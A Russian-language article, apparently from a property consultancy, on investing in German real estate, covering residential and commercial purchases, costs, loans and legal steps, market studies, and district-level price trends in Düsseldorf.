Как правильно выбрать объект для покупки

Традиционно высокий интерес инвесторов к недвижимости в Германии вполне понятен. Германия занимает четвертое место в мире по объему ВВП, это сильнейшая экономика Европы, страна с развитой инфраструктурой, стабильными социальными гарантиями и четким законодательным регулированием всех сфер экономики и народного хозяйства. Все это минимизирует риски инвесторов при вложении средств в немецкую недвижимость. Действительно, потерять деньги при более или менее грамотном подходе к покупке практически невозможно, но и получить высокую доходность от недвижимого имущества удается далеко не всем.

Цель покупки

Начинать выбор объекта для инвестирования нужно с четкого определения главных и побочных целей такого вложения. Здесь возможны варианты:

• Вложение капитала с целью его сохранения.

Если речь идет о недвижимости в Германии, именно такой вариант является самым популярным и легко реализуемым. Стабильность и возможность легко вернуть свои деньги спустя даже длительный срок – вот главное, что привлекает иностранных инвесторов в эту страну.

• Инвестирование с целью заработка.

Нужно понимать, что доходность недвижимости в Германии на порядок ниже, чем в России и даже других европейских странах. Поэтому рассчитывать на быстрые и высокие доходы инвесторам не стоит. Конечно, бывают и исключения. Но чтобы рассматривать недвижимость в этой стране как средство заработка, необходимо, как говорится, крутиться: покупать, перепродавать, искать арендаторов. Потребуется, как минимум, постоянное присутствие владельца и его всесторонний контроль.

• Покупка недвижимости для собственных нужд.

Здесь все ясно: объект нужно выбирать, ориентируясь исключительно на потребности семьи – например, вблизи места работы или учебы.

• Покупка недвижимости для получения вида на жительства (Aufenthaltstitel).

Сам по себе факт приобретения объекта недвижимости не дает права на оформление ВНЖ. Однако наличие жилья дает определенные визовые льготы и считается преимуществом при запросе Aufenthaltstitel.

Инвестиции в жилую недвижимость

Именно покупка жилой недвижимости в Германии, будь то квартиры в жилых комплексах или целые доходные дома, считается самым стабильным и надежным видом инвестиций для иностранцев. Во многом это обусловлено огромным объемом арендного рынка в стране. Так, по разным оценкам всего от 20% до 40% населения имеют собственное жилье. Похожие показатели демонстрирует разве что Швейцария, в то время как в других европейских странах доля собственников жилья составляет в среднем от 50% до 80%. Но если вкладывать капитал в швейцарскую недвижимость могут исключительно резиденты, то в Германии таких ограничений для иностранцев нет. При этом, по мнению аналитиков, объем арендного рынка в Германии со временем будет только расти, а основу спроса, как и сейчас, будут составлять небольшие семьи из 1-2 человек. Так, уже к 2025 году спрос на арендное жилье может вырасти на 6%.

Спрос среди арендаторов несколько разнится в зависимости от региона страны. Так, в крупных городах восточной Германии, где сконцентрировано основное количество популярных высших учебных заведений, доля пустующего жилья составляет всего 3%. В некоторых регионах на западе страны этот показатель достигает 11%.

Возможность адекватной оценки рисков при покупке жилых объектов и их дальнейшей сдачи в аренду обеспечивается, в том числе за счет четкого законодательного регулирования взаимоотношений арендодателей и арендаторов. Так, Гражданский кодекс (Bürgerliches Gesetzbuch) определяет полномочия собственника и арендатора, регламент передачи объекта, распределение расходов на коммунальные услуги и содержание жилья, порядок индексирования арендной ставки и многие другие вопросы.

Стоимость жилой недвижимости и прогнозирование доходности

В Германии не наблюдается резких скачков стоимости жилой недвижимости. Как правило, рост цен на жилье соизмерим с увеличением стоимости потребительской корзины и составляет около 1,5% в год.

Динамика же увеличения ставок аренды немного другая. Так, в крупнейших городах страны, таких как Берлин, Франкфурт, Мюнхен и Кельн, стоимость аренды за последние 5 лет выросла на 15-30%. Но рост этот происходит не равномерно, а своеобразными скачками. Дело в том, что арендодатели крайне редко повышают ставки аренды по уже заключенным договорам, поэтому они могут оставаться неизменными на протяжении пяти, десяти и более лет. Дело в том, что отвечать по Закону из-за якобы нарушенных прав квартиросъемщика гораздо дороже, чем иметь стабильного долгосрочного арендатора. Если же арендатор по каким-либо причинам сам расторгает договор и съезжает из жилья, владелец сразу же поднимает ставку и заключает договор с новым квартиросъемщиком уже на более выгодных для себя условиях.

Исходя из этого, в качестве предмета для инвестиций лучше рассматривать пустующее жилье, без обременений в виде действующих договоров аренды, однако такие объекты изначально и стоят немного дороже. Конечно, есть вариант форсировать индексирование ставки, купив квартиру с арендаторами и принудительно расторгнув договор, но это может обернуться серьезными проблемами с Законом.

Расходы на содержание жилья

Оплата большей части коммунальных услуг входит в обязанности арендатора жилья. Но расходы собственника все равно существенны, и их нужно обязательно учитывать при выборе объекта для инвестиций. Так, на плечи владельца ложится оплата услуг управляющей компании, а также расходы на техническое содержание объекта (около 0,25 Евро за квадратный метр ежемесячно). При этом услуги управляющих компаний при владении жилья в многоквартирных домах обходятся на порядок дороже, чем при покупке квартир в небольших комплексах. Во многом поэтому квартиры в больших многоэтажных комплексах изначально стоят дешевле.

Если квартира будет длительное время пустовать, это однозначно будет означать для владельца серьезные убытки. Ведь в этом случае собственник будет оплачивать и коммунальные услуги, и страховку, и налог на землю.

Учитывать необходимо и техническое состояние дома на момент покупки. Если это не относительно новое здание (возрастом до 20 лет), при этом давно не проводился капитальный ремонт, на собственника лягут серьезные расходы. В Германии на законодательном уровне определены обязанности собственника по поддержанию объекта недвижимости в надлежащем состоянии по части технических, санитарных и экологических норм, а также по соблюдению стандартов энергоэффективности. Учитывая, что более 50% объектов жилого фонда в Германии имеют возраст свыше 40 лет, к оценке технического состояния здания нужно подойти серьезно.

Кредит на покупку жилой недвижимости

Ввиду стабильных показателей доходности жилой недвижимости и минимальных рисков, немецкие банки довольно охотно финансируют покупку подобных объектов местными и иностранными инвесторами. Даже для нерезидентов действует фиксированная ставка по ипотеке – чуть более 4% на 10 лет.

Возможные риски

• Аварийное состояние дома. Если здание будет признано несоответствующим техническим нормативам, жильцов расселят.
• Дебиторская задолженность. Риск того, что среди арендаторов окажутся злостные неплательщики, есть всегда, но он минимизируется наймом грамотного управляющего, который будет контролировать платежи.
• Пустующие квартиры. Чтобы не терпеть убытки от незадействованных площадей, при покупке жилья нужно учитывать спрос. Приоритет стоит отдать недвижимости в крупных городах, в деловых районах или вблизи студенческих кампусов.

Инвестиции в коммерческую недвижимость

Инвестиции в коммерческие объекты в Германии традиционны были и остаются более рискованными. Однако при грамотном подходе и доходность может быть гораздо выше, чем при вложении капитала в жилье. Чтобы минимизировать риски, нужно принимать во внимание перспективность объекта с учетом его местоположения, технического состояния и состава якорных арендаторов, учитывать расходы на содержание недвижимости и издержки, связанные с поиском новых арендаторов в случае расторжения действующих договоров.

С точки зрения действующего в стране законодательства, взаимные права и обязанности собственника и арендатора коммерческой площади практически не регламентируются. Арендодатель вправе устанавливать любые условия договора аренды, не противоречащие Федеральным Законам.

Наиболее надежным способом инвестирования в коммерческую недвижимость является покупка объектов с уже заключенными долгосрочными договорами аренды. Однако наибольшую рентабельность будут иметь площади, договора аренды которых собственник может в одностороннем порядке расторгнуть без каких-либо санкций — например, если появится новый перспективный арендатор, который будет готов оплачивать площадь по более высокой ставке.

При оценке рисков стоит учитывать, что в случае банкротства якорного арендатора или досрочного расторжения договора аренды собственник будет терпеть убытки вплоть до заключения нового договора. А поиск арендаторов на коммерческие площади гораздо сложнее и занимает гораздо большее время, чем при сдаче в аренду жилья. Так, на поиск нового арендатора уходит в среднем 1 год.

Содержание коммерческой недвижимости

Обязательства арендодателя и арендатора по уплате коммунальных платежей, расходы на техническое обслуживание задания, оплата услуг управляющих компаний, а также налоги и страховка при аренде коммерческой недвижимости регламентируются исключительно заключенным договором, а не на законодательном уровне. Таким образом, часть расходов может взять на себя собственник, часть – арендатор. Поэтому при покупке здания с арендаторами нужно самым внимательным образом изучить действующие договора аренды. В случае, когда все расходы ложатся на владельца здания, для потенциального покупателя совокупные условия приобретения и содержания объекта могут оказаться кабальными.

Кредит на покупку коммерческой недвижимости

Инвестиции в коммерческую недвижимость расцениваются немецкими банками как рисковые. Многие финансовые учреждения отказывает в кредитовании, если совокупная доля коммерческих площадей в здании превышает 30%. Шанс на положительное решение банка увеличивает высокая доходность объекта на протяжении последних 10 и более лет, а также наличие действующих долгосрочных договоров аренды, причем желательно с крупными и известными в стране компаниями.

Другие варианты для инвестиций

Иностранным инвесторам может быть интересна не только жилая и коммерческая недвижимость, но также дома престарелых, отели и кампусы, госпитали и другие специфические объекты, представляющие по своей сути готовый бизнес. Однако подлобное вложение капитала требует самой тщательной подготовки и поддержки целой команды опытных консультантов. Чтобы рассчитывать на стабильный долгосрочный доход от такой недвижимости, нужно учитывать особую нормативную базу и особые требования к содержанию объектов, необходимость в оплате услуг управляющих и консультантов, сложность в получении финансирования.

На что обратить внимание при покупке жилья или торгового помещения

Несмотря на то, что Германия по праву считается правовым государством с четким законодательным регулированием всех сфер деятельности, в том числе и рынка недвижимости, иностранные инвесторы должны учитывать ряд местных особенностей. Принимать во внимание нужно не только Законы, но также менталитет немцев, географическое положение Федеральных земель и другие факторы.

Первое, что привлекает иностранных инвесторов в Германии – это стабильность. Стабильность экономическая, политическая и социальная. Вполне понятно, что для бизнесмена, который хочет, как минимум, сократить риски при вложении средств в недвижимость, а как максимум, преумножить капитал, этот фактор играет чуть ли не первостепенную роль.

Второе преимущество немецкого рынка недвижимости — крайне лояльные для местных и иностранных инвесторов условия кредитования. Правительство Германии сознательно идет на некоторые уступки, цель которых – стимулирование рынка и привлечение капитала в страну.

При этом даже относительно небольшая рентабельность при вложении денег в жилье или коммерческую недвижимость отходит на второй план. Германия традиционно занимает первые строчки в рейтингах инвестиционной привлекательности не только среди стран Европы, но и всего мира.

Однако нужно учитывать, что подобный высокий интерес со стороны инвесторов имеет и негативные последствия, причем для них самих же. Уже сейчас на рынке недвижимости крупных немецких городов, таких как Берлин, Дюссельдорф, Мюнхен и других, имеет место быть некоторый дисбаланс в ценах на объекты недвижимого имущества. Так называемый мыльный пузырь. Есть риск, что данный пузырь со временем лопнет, и тогда многие бизнесмены понесут серьезные убытки. Но, по заверению экспертов и аналитиков, сейчас время для беспокойства еще не настало. Ближайшее пятилетие баланс между стоимостью объектов в крупных городах и провинции будет сохраняться на более или менее адекватном уровне, что позволит инвесторам реально оценивать свои риски и уровень доходов в среднесрочной перспективе

Все это – общая картина. А теперь к фактам, которые позволят принять правильное решение при инвестировании в немецкий рынок недвижимости и минимизировать риски.

Что нужно знать перед покупкой недвижимости в Германии

• Вы покупаете землю, а не дом или квартиру

Любая сделка купли-продажи недвижимости предполагает, что вы фактически приобретаете участок земли. А вместе с ней – и расположенное на данной земле строение либо его часть. Казалось бы, незначительный нюанс. Но он имеет крайне важное значение с правовой точки зрения, накладывает на собственника соответствующие обязательства перед государством.

• Любые сделки – через нотариуса

Без нотариуса не удастся совершить буквально ни одну сделку с недвижимостью. Нотариус не только составляет и заверяет договор, но также следит за его выполнением, в том числе по части оплаты, а также выступает своеобразным буфером между продавцом и покупателем, арендодателем и арендатором. Как показывает практика, хороший опытный нотариус – половина успеха при инвестировании в недвижимость в Германии. Если столкнетесь с неграмотным новичком, рискуете впоследствии получить неприятности либо со стороны Закона, либо со стороны продавца.

• Проверка юридической чистоты объекта – забота покупателя

В соответствии с действующим в Германии законодательством, а также сложившейся практикой, продавец не обязан доказывать юридическую чистоту объекта. Эта обязанность полностью ложится на плечи инвестора или его консультантов. Фактически, продавец не будет нести никакой ответственности, если обнаружится, что объект недвижимости на момент продажи, например, был под арестом, или на него были наложены неизвестные покупателю обременения. Также иностранные инвесторы довольно часто сталкиваются с ситуацией, когда в купленном здании уже есть арендаторы, а расторгать договора с ними или изменять существенные условия (например, по ставке аренды) новый собственник права не имеет.

• Уплата налогов

При подсчете бюджета нужно учитывать, что покупатель недвижимости в Германии должен уплачивать соответствующие налоги. Это идет вразрез с российским законодательством, когда налог оплачивает продавец, с полученного дохода.

• Обязательная государственная регистрация

Все сделки купли-продажи должны быть соответствующим образом зарегистрированы. Право собственности наступает у покупателя не в момент подписания договора, а именно после государственной регистрации сделки. В этой практике для инвесторов из России не будет ничего нового – Росреестр функционирует аналогичным образом.

• Требования к техническому состоянию объекта

Если вы приобрели здание, которое не соответствует техническим нормативам, экологическим стандартам или нормам энергоэффективности, вы будете обязаны привести его в надлежащее состояние. Законодательство в Германии четко указывает на подобную обязанность собственника. Поэтому, если объект находится в аварийном состоянии или просто не прошел должную предпродажную подготовку, инвестора ждут существенные траты. Избежать их не получится: в случае бездействия на собственника будут наложены штрафные санкции, не сопоставимые со стоимостью содержания объекта.

• Самое лучшее – для «своих»

Информация о самых привлекательных с инвестиционной точки зрения объектах в Германии никогда не публикуется в открытом доступе, например, на досках объявлений или в общедоступных базах агентств недвижимости. Если вы нашли объект в интернете, ищите и подводные камни – это значит, что потенциальным покупателям он уже не интересен по каким-либо причинам. Именно поэтому все сделки с недвижимостью здесь в большинстве своем совершаются при посредничестве консультантов – специалистов, которые владеют полной актуальной информацией об объектах, выставленных на продажу.

Подводя итог, можно сказать, что безубыточно владеть недвижимостью и зарабатывать на ней в Германии и можно, и нужно. Подводные камни есть везде, но при наличии знаний или грамотного консультанта риски инвестора будут сведены к минимуму.

Едва ли хотя бы одна неделя в Германии проходит без нового исследования рынка недвижимости или прогнозирования цен. Это неудивительно, ведь в стране настоящее покупательское безумие.

В течение последних лет, во многих частях Германии резко выросли цены на квартиры и дома, также, как и резко возросла арендная плата. Разумеется, многих арендаторов интересует вопрос, нужно ли затягивать потуже свои пояса или дешевле приобрести недвижимость в собственность. С другой стороны, также обеспокоены инвесторы, которые подбирают объекты для вложения своих финансовых средств с целью увеличения капитала.

Странно только то, что каждое исследование или прогноз приводят к разным выводам. К примеру, еще недавно арендаторы надеялись на данные Независимого института исследований и консалтинга в области экономики и социальных наук в Германии Empirica в свою пользу, но все повернулось в обратную сторону и теперь есть повод для радости у большинства владельцев недвижимости.

В свою очередь, Институтом Экономики Германии (das Institut der deutschen Wirtschaft, сокращенно IW) совместно с Ассоциацией банков Sparda подведены итоги в документе «Жилье в Германии 2019», в котором учитываются динамика цен на недвижимость и прогноз развития на основе изучения ситуации в 401 населенном пункте республики, а также озвучивается ответ на вопрос, что же дешевле: купить или арендовать.
Для проведения исследования Германию разделили на:

• Мегаполисы: здесь были исследованы кондоминиумы в семи крупнейших городах
• Города среднего размера: были изучены кондоминиумы в 61 независимом городе с населением от 100 000 до 600 000 человек
• Районы: были рассмотрены частные дома для одной семьи в 297 районах Германии
• Другие регионы: были исследованы кондоминиумы в 36 независимых городах с населением менее 100 000 человек

Купить выгоднее, чем арендовать

Один из результатов исследования: несмотря на рост цен, покупка в среднем, обходится дешевле, чем аренда. Стоимость аренды сравнивалась с затратами на использование собственной недвижимости во время проживания. Стоимость квартиры в аренду в Берлине составляет 8,27 евро за квадратный метр, но если рассматривать стоимость обслуживания квадратного метра собственного жилья, то она равна всего 5,46 евро (включая кредит на строительство, налог на передачу земли и техническое обслуживание), что на 34% дешевле. В Гамбурге эта разница составляет уже 39%, в Штутгарте 29%, в Регенсбурге – 15%. Разница в этих цифрах в Восточной Германии несколько выше, а именно на 38%, чем в Западной Германии, где она равна 32%. Хотя уровень цен на юге Германии значительно выше, чем в остальной части республики, покупка здесь также более привлекательна, чем аренда.

Среди городов среднего размера в восточной Германии, например, в городе Росток разница между стоимостью аренды и стоимостью владения недвижимостью равна 53%, в Западной Германии в городе Трир 49%. Наименьшая разница в Регенсбурге – 15%, на востоке республики, в Лейпциге – 26%.

В округах можно заметить более широкий диапазон. В то время как разница цен в Заале-Орла (Восток) самая высокая и составляет 62%, в округе Айхах-Фридберг (Запад) она составляет всего 5%. В Восточной Германии в районе Уккермарк – 14% и это самое низкое значение среди восточногерманских округов. Однако, стоит учитывать, что разница стоимости квадратного метра тем меньше, чем дороже объект недвижимости.

К чему все идет?

В ходе расчетов также выяснилось, что немцы тратят в среднем 264 000 евро на покупку собственной недвижимости и получают 111 кв.м. жилой площади. Средняя сумма кредита составляет 214 000 евро (81,05%). Во всех крупных городах за 264 000 евро можно приобрести примерно 80 кв.м. Кроме того, существует еще такой показатель, как доступность жилья. Например, в Берлине, в среднем, доступна недвижимость площадью 77 кв.м., в Кельне — 76 кв.м., что почти в два раза превышает данные по Мюнхену, где средняя площадь доступного жилья – всего 39 кв.м.

Что касается прогноза до 2030 года, исследование IW доказывает продолжение экономического развития, которое также окажет влияние на цены на недвижимость.

В основном южная Германия, столичные районы Берлина, Гамбурга, Франкфурта-на-Майне и Вольфсбурга, а также части Рейнской области продолжат свое активное развитие. Высокая привлекательность агломераций будет и впредь обеспечивать устойчивый приток и, следовательно, высокий спрос на новое строительство. Здесь исследование IW полностью противоречит ранее упомянутой оценке Empirica. Наиболее динамичное развитие прогнозируется району Мюнхена, а самое низкое — району Гельзенкирхена.

В начале апреля Ассоциация банков Sparda представила во Франкфурте документ с информацией об исследовании рынка недвижимости Германии. Согласно данным из документа, всеобщий жилищный бум в республике, на самом деле, экономически оправдан только в нескольких регионах.

С 2005 года цены на квартиры растут практически повсеместно в Германии. Но всего менее, чем в четверти регионах цены заметно выросли, по сравнению с ростом в федеральном округе, где прирост ежегодно составлял 3,4%.
К примеру, в Берлине рост цен на квартиры в 2,4 раза выше, чем в среднем по стране, в Гамбурге — в 2 раза, считают авторы исследования. В период с первого квартала 2005 года по третий квартал 2018 года стоимость недвижимости в Берлине возросла на целых 129%, в районе Мюнхена на 117%, в самом Мюнхене на 116% и в Гамбурге на 110%. Всего в Германии за этот период цены поднялись на 54%. При чем увеличение вдвое выше в крупных городах, чем в мелких. «Сфера влияния Мюнхена составляет более 100 километров», — отметил Ханно Кемперманн, руководитель регионального отдела консалтинговой компании IW Consult — партнера по исследованию банка Sparda.

Средняя стоимость недвижимости в Германии составляет 264 000 евро. За эти деньги можно купить примерно 111 кв.м., а в крупных городах и того меньше. В ближайшее время ситуация сильно не изменится. Авторы исследования отмечают хорошие экономические перспективы, а, следовательно и рост цен на недвижимость на юге Германии, а также в районе Мюнхена и столичных регионах – в Берлине, Гамбурге и Франкфурте. Следом в списке Рурская область и Восточная Германия.

Немецкая строительная отрасль продолжает расти. Бурный спрос на рынке недвижимости превысил исторический максимум, благодаря чему многие строительные организации полностью обеспечены заказами.

В 2018 году строительные предприятия страны достигли самых высоких показателей за весь период времени с момента объединения Германии. По данным Главной ассоциации немецкой строительной индустрии (HDB — Hauptverband der Deutschen Bauindustrie) и Центральной Ассоциации Немецкого Строительства (ZDB — Zentralverband Deutsches Baugewerbe) доходы выросли примерно на 11% или до 127 миллиардов евро.

«2018 год намного превзошел наши ожидания», — прокомментировал исполнительный директор HDB Дитер Бабиель. «В конце года строительные компании, отчасти благодаря относительно хорошим погодным условиям, смогли увеличить свой доход». В декабре отрасль ожидал прирост еще на 6%.

Тем не менее, увеличение оборота также связано со значительным повышением цен на строительство, до 6%, а также с высокими затратами на строительные материалы и повышением заработных плат. Так пояснил исполнительный директор ZDB Феликс Паклеппа.

HDB предполагает, что в 2019 году обороты увеличатся еще на 6% (реально на 1%). Строительные компании уже получают прибыль от поступающих заказов. «Перспективы на текущий год также многообещающие, так как количество заказов в 2018 году увеличилось на 10%», — сказал Бабиель.

Лучшие показатели за 24 года

Благодаря тому, что в конце прошлого года количество заказов возросло, общие показатели сильно улучшились, по сравнению с показателями за последние 24 года. По данным Федерального статистического управления, итоговая цифра выше на 79,5 миллиардов евро.

В 2018 году также увеличилось количество людей, занятых в строительстве, с 25 000 до 837 000 человек. Бабиель считает, что в 2019 году эта цифра вырастет еще на 18 000 человек.

Строительная индустрия процветает уже несколько лет. Одной из причин является прирост населения в крупных городах, подобные Берлину, что стимулирует жилищное строительство. Кроме того, многие частные застройщики планируют свое развитие, благодаря низким процентным ставкам по кредитам, повышению заработной платы и большей занятости. Инвесторы вкладывают больше денег в рынок недвижимости из-за отсутствия более привлекательных инвестиционных альтернатив. Государственный сектор также вкладывает много средств в строительство.

Рынок недвижимости Дюссельдорфа: цены, районы, перспективы

Дюссельдорф славится своей шикарной Королевской аллеей, или как ее называют местные, просто «Kö» и очаровательным старым городом. Смешение темпов большого города и рейнской безмятежности привлекает художников, творческих личностей, ученых и студентов со всего мира. Рынок недвижимости также находится в постоянном движении: дома в лучших районах пользуются спросом, как никогда раньше, а развитые кварталы продолжают развиваться.

Беглый взгляд на рынок недвижимости Дюссельдорфа

За несколько минувших лет была выведена занимательная статистика: в среднем в Дюссельдорфе ежегодно заключается около 5000 сделок купли-продажи недвижимости на общую сумму свыше 4 млрд евро. Средний ценовой диапазон по продаже домов на одну или две семьи очень велик: от 170 000 до 1,8 млн за объект (в зависимости от соответствующего местоположения и качества недвижимости). Для таунхаусов отпускные цены начинались с 220 000 евро и достигали верхнего предела в 680 000 евро. Более высокие цены отмечены в сегменте продаж двухквартирных домов – от 280 000 евро до 860 000 евро.

Картина на рынке кондоминиумов сложилась противоположной: большой запас новых построек в разных районах города, а также существующие объекты позволили влиться в игру большому количеству инвесторов. В среднем бюджетные объекты находили новых владельцев по цене от 1500 евро / кв. м, а самые дорогие за 6000 евро / кв. м. Наименьшие изменения показателей зафиксированы среди зданий до 1947 года постройки. Здесь за год продается всего около 300 объектов, самый дешевый из которых стоит 1700 евро / кв. м, а самый дорогой 4500 евро / кв. м.

Социально-демографические условия

Дюссельдорф популярен: в настоящее время столица земли Северный Рейн-Вестфалия насчитывает 635 000 жителей, что делает его вторым по величине городом федеральной земли после Кёльна. По прогнозам, к 2040 году численность населения должна увеличиться на 13,1%, и тогда в Дюссельдорфе будет проживать более 718 000 человек. Благодаря большому количеству вузов и развитой исследовательской деятельности, Дюссельдорф притягивает огромное количество молодежи, ориентированной на образование и дальнейшее развитие в научной среде. Кроме того, в последние годы мегаполис обрел популярность среди молодых семей: с 2008 года 3 624 семьи переехали в столицу Рейна, что соответствует увеличению на 6%. Несмотря на то, что ежегодный показатель рождаемости превышает 8000 детей, городу по-прежнему приходится готовиться к демографическим изменениям. Уже сегодня доля людей старше 65 лет в общей численности населения составляет почти 20%, и в ближайшие годы продолжит расти.

Занятость

Дюссельдорф является одним из процветающих экономических центров Германии. Здесь расположено около 100 000 компаний, структура которых распределена между сферой обслуживания, промышленным, туристическим и производственным секторами.

Дюссельдорф также привлекателен благодаря своим отличным транспортным связям: аэропорт является третьим по величине в Германии, пассажиропоток через который превышает 22 млн человек в год. Кроме того, через воздушную гавань Дюссельдорфа ежегодно проходит 210 000 воздушных перевозок, перевозится 90 000 тонн грузов, а в неделю совершается 131 межконтинентальный перелет. Альтернатива воздушному сообщению – железная дорога: скоростной поезд Thalys связывает Дюссельдорф с Амстердамом, Брюсселем и Парижем.

Город предоставляет 40 000 рабочих мест в сфере промышленности, что делает его вторым по важности индустриальным центром среди всех крупных городов Северного Рейна-Вестфалии. Здесь представлены металлургическая и химическая промышленность, машиностроение и предприятия-изготовители промышленного оборудования. Кроме того, Дюссельдорф – отличное место для цифровой среды: здесь базируются и функционируют все три немецких оператора мобильной связи (Vodafone, Telekom и Telefónica).

Помимо этого, в Дюссельдорфе представлено почти 14 000 иностранных компаний. Большинство из них имеют корни в Нидерландах (581), за ними следуют США (431) и Великобритания (405). Значительно выросло число азиатских и, в частности, китайских компаний, из которых в Дюссельдорфе насчитывается около 500 представителей.

В целом в Рейнской метрополии в настоящее время насчитывается 465 200 человек, имеющих официальное рабочее место. Средний годовой доход на душу населения в Дюссельдорфе составляет 23 970 евро. Все это – наличие крупных предприятий, широкий выбор рабочих мест, низкий уровень безработицы и сравнительно высокие зарплаты – привлекает в город новую рабочую силу, а приток численности населения неуклонно влияет на стоимость местного жилья.

Динамика цен в районах Дюссельдорфа

Теперь направимся с севера на юг и более подробно рассмотрим отдельные жилые комплексы. Как правило, чем ближе Рейн и более идиллическая картина окружающей среды окутывает район, тем более он популярен, а значит, и дорог. На крайнем севере, на восточном берегу Рейна, находится благородный район Виттлар, преимущественно застроенный жилыми зданиями (многоквартирыми домами и индивидуальными домиками на одну семью). Многие политики и руководители крупных компаний обосновались со своими семьями именно здесь. Предложения на покупку начинаются от 650 000 евро и могут доходить до семизначных цифр, в зависимости от конкретного места расположения и качества самого жилого объекта.

Также востребованным считается соседний Ангермунд. Эксперты говорят: «Если вам нравится Дюссельдорф, то вашим адресом должен стать Ангермунд!». Но, учитывая высокий спрос среди потенциальных покупателей, надо иметь определенную долю удачливости, чтобы мечта о собственном доме все-таки сбылась. В среднем цена покупки составляет 3550 евро / кв. м и остается практически постоянной со второй половины 2014 года.

Есть также идиллические места в соседнем Кайзерсверте, который известен далеко за пределами Дюссельдорфа благодаря историческому старому городу и живописным руинам его замка «Кайзерпфальц». Пейзаж этого района формируют очаровательные дома для одной или двух семей, а также довольно распространенные здесь многоэтажные жилые комплексы. В среднем жилье в Кайзерсверте можно купить по цене 3350 евро за «квадрат».

Выбор покупателей также часто останавливается на северных районах Лохаузен, Калькум и Штоккум. Лохаузен, в частности, стал еще более привлекательным из-за ряда принятых строительных мер, что привело к оживлению цен, которые за год выросли на 17%. Если еще в 2015 году недвижимость здесь можно было купить в среднем по 2650 евро за квадратный метр, то сейчас трудно что-либо найти дешевле 3500 евро / кв. м. В Штоккуме цены развиваются не так быстро, но, возможно, из-за того, что они здесь и без того высоки. На сегодняшний день Штоккум входит в тройку самых дорогих районов Дюссельдорфа со средним ценником за квадратный метр на уровне 5700 евро.

Современные покупатели только начинают открывать для себя район Лихтенбройх – тихий и созерцательный, словно погруженный в раздумья и мечты. Район находится к востоку от Лохаузена в направлении Ратингена и на его территории проживает менее 6000 жителей. В то время как в первой половине 2015 года покупатели еще могли купить недвижимость по скромной цене 1800 евро / кв. м, теперь за тот же «квадрат» им приходится платить порядка 3400 евро.

Северную оконечность центра города венчает буржуазный Гольцхайм. Популярный Северный парк (Nordpark) и старый город, до которых за несколько минут можно добраться на велосипеде вдоль по набережной Рейна, находятся буквально в двух шагах. Покупка недвижимости в собственность здесь пользуется большим спросом, но сейчас ее цена «кусается» и составляет 3700 евро / кв. м. Только в прошлом году цены на местное жилье выросли на 3%.

К трендовым и модным районом сейчас также относят Дерендорф, который в последние годы изменился в результате преобразования прежнего грузового двора площадью 36 гектаров. Здесь все чаще предпочитают селиться молодые семьи, а также пары, одиночки и студенты, тем более что неподалеку находится Дюссельдорфский университет с его оживленным кампусом. Следовательно, кривая цен знает только одно направление: вверх. За последние несколько лет удорожание составило 22%. Если вы хотите купить сейчас, то должны быть готовы к ценнику 3950 евро / кв. м.

Еще более модным является Пемпельфорт, где расположена художественная академия с легендарной коллекцией Йозефа Бойса. Возможность наслаждаться искусством и комфортом прямо у порога собственного дома со второй половины 2015 года стала стоить дороже: хотя средняя покупная цена в то время составляла около 3800 евро / кв. м, сегодня она редко опускается ниже 4250 евро / кв. м.

Одним из самых дорогих мест является оживленный район Унтербильк. В зависимости от микрорайона вы можете найти как старые здания, так и модернизированные жилые комплексы 1970-х и 1980-х годов. Цены варьируются в зависимости от спроса и в среднем составляют 6050 евро / кв. м.

На сегодняшний день большой потенциал для развития существует на юге соседнего бывшего промышленного и рабочего района Обербильк.  Многочисленные строительные проекты, такие как запланированный жилой комплекс на 400 квартир на Mindener Straße, поддерживают позитивные изменения. В зависимости от местоположения и состояния объекта, цены здесь могут достигать 2800 евро / кв. м. По сравнению с данными 2015 года, это на 22% дороже.

Также чрезвычайно востребован район Герресхайм, расположенный к востоку от центра города, и граничащий с элегантным Графенбергом на севере. Архитектурно Герресхайм представляет собой небольшой район рабочего класса, где периодически встречаются исторические памятники и архитектурные «жемчужины». Кроме того, облик района состоит из таунхаусов с садами, фахверковых домов и кирпичных зданий, а в направлении района Флингерн-Норд имеется большой микрорайон отдельно стоящих домов. Рост спроса привел к повышению цен (на 12% в 2016 году), в результате чего ценник достиг показателя в 3200 евро / кв. м. Кроме того, в вышеупомянутом районе Флингерн-Норд  цены тоже выросли (на 13%). Из-за своей нестандартной атмосферы, множества оригинальных магазинов и кафе, район стал особенно популярен среди молодых людей. Некоторые даже сравнивают его с Пренцлауэр-Берг в Берлине или Ноттинг-Хилл в Лондоне. В настоящее время недвижимость здесь стоит 3550 евро / кв. м.

Тем, кто хочет жить в окружении тишины и зелени, можно посоветовать обратить внимание на район Эллер. В его северной части доминируют индивидуальные домики для одной семьи, а на юге преобладают многоэтажки. Опять же, покупатели, которые охотятся за своей мечтой, должны быть готовы заплатить в среднем 2600 евро / кв. м.

На юге Дюссельдорфа стоит присмотреться к районам Верстен и Хольтхаузен, которые после реализации региональных концепций 2011-2014 гг. получили активное развитие. В модернизацию зданий и реконструкцию зеленых зон было инвестировано более 8 млн евро. Многие из когда-то простеньких кварталов превратились в востребованные и желанные микрорайоны, отчасти из-за того, что местное жилье стало оснащаться энергоэффективным оборудованием. Средние цены в Верстене составляют 3200 евро за квадратный метр, в Хольтхаузене они немного ниже – 2400 евро / кв. м.

Теперь перейдем к левой стороне Рейна. Здесь основное внимание притягивает эксклюзивный район Оберкассель – достойный и сдержанный. Здесь живут звезды спорта, мира моды и развлечений, много художников и других личностей творческой направленности. Чем дальше вы продвинетесь от центра города, тем более роскошный объект сможете себе позволить за ту же сумму. В премиальном сегменте стоит готовиться к стоимости в 5100 евро за квадратный метр.

Одним  из самых прекрасных жилых районов, пригодных для постоянного проживания считается Нидеркассель. Просторные городские виллы чередуются здесь с одно- и двухквартирными домами. Между ними время от времени вырастают стильные кондоминиумы. Стоит отметить, что с 1970-х годов сюда переехали многие японцы и с тех пор создали соответствующую инфраструктуру, включая парк с храмом Будды. С 2015 года цены на недвижимость района выросли на 18% и в настоящее время составляют 4000 евро / кв. м.

Тот, кто мечтает о жизни в идиллическом районе, но не представляет себя в отрыве от цивилизации, отдает предпочтение району Лёрик, с его односемейными домами, где летом в садах шипят водяные спринклеры, орошающие аккуратные зеленые газоны. За пару минувших лет цены здесь выросли на 58%, так что найти жилье дешевле 5200 евро за «квадрат» вряд ли получится.

